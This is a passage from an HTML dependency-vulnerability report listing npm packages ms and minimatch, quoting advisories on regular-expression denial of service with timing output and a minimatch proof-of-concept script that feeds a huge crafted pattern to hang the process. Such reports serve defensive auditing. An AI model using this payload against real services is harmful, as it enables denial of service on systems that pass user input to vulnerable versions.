real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
```
</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/46">Advisory 46: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs38">ms:<=0.7.0</li></ul></p></div></div><h3 class="subsectionheader standardsubsection"><a name="l141_d99fad061598746d99960481245a00c2ba683de7"></a>minimatch:0.3.0</h3><div class="subsectioncontent"><p><b>File Path:</b> /home/jonas/catalog/package.json?minimatch<br/><br/><b>Referenced In Project/Scope:</b>null: transitive</p><h4 id="header314" class="subsectionheader expandable expandablesubsection white">Evidence</h4><div id="content314" class="subsectioncontent standardsubsection hidden"><table class="lined fullwidth" border="0"><tr><th class="left" style="width:10%;">Type</th><th class="left" style="width:10%;">Source</th><th class="left" style="width:20%;">Name</th><th class="left" style="width:50%;">Value</th><th class="left" style="width:10%;">Confidence</th></tr><tr><td>Vendor</td><td>package.json</td><td>name</td><td>minimatch</td><td>High</td></tr><tr><td>Product</td><td>package.json</td><td>name</td><td>minimatch</td><td>Highest</td></tr><tr><td>Version</td><td>package.json</td><td>version</td><td>0.3.0</td><td>Highest</td></tr></table></div><h4 id="header315" class="subsectionheader white">Identifiers</h4><div id="content315" class="subsectioncontent standardsubsection"> <ul> <li><b>npm:</b> minimatch:0.3.0 <i>Confidence</i>:Highest</li></ul></div><h4 id="header316" class="subsectionheader expandable collaspablesubsection white">Published Vulnerabilities</h4><div id="content316" class="subsectioncontent standardsubsection"><p><b><a target="_blank" href="https://nodesecurity.io/advisories/118">NSP-118</a></b></p><p>Severity:High<br/>CVSS Score: 7.5 </p><p><pre>Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.
## Proof of Concept
```
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
```</pre><ul><li>NSP - <a target="_blank" href="https://nodesecurity.io/advisories/118">Advisory 118: Regular Expression Denial of Service</a></li></ul></p><p>Vulnerable Software & Versions:<ul><li class="vs39">minimatch:<=3.0.1</li></ul></p></div></div></div></div><div><br/><br/>This report contains data retrieved from the <a href="https://nvd.nist.gov">National Vulnerability Database</a>.<br/>This report may contain data retrieved from the <a href="https://nodesecurity.io">Node Security Platform</a>.</div></body></html>